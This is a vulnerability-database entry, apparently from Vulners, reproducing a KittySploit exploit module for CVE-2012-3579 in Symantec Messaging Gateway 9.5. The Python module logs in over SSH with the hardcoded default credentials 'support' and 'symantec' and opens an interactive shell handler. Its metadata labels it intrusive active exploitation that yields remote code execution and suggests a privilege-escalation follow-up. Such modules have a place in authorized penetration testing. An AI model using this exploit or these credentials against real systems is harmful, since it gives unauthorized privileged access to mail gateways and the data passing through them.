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Symantec Messaging Gateway 9.5 Default SSH Password

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
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Remote privileged access to Symantec Messaging Gateway via default SSH credentials.

Refs
Code
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler

class Module(Exploit, Ssh_client, Handler):


	__info__ = {
			'name': 'Symantec Messaging Gateway 9.5 Default SSH Password',
			'description': "The 'support' user has a known default password, which can be used to login to the SSH service, and gain privileged access from remote",
			'cve': '2012-3579',
			'payload': {
				'default':'nopayload',
				},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}

	ssh_target = OptString("", "Target IPv4", "yes")
	ssh_port = OptPort(22, "Target SSH port", "yes")

	def run(self):
		client = self.open_ssh(user="support", password="symantec")
		connection = client.login()
		if connection:
			self.handler_ssh(connection)
		else:
			self.not_vulnerable()

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10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
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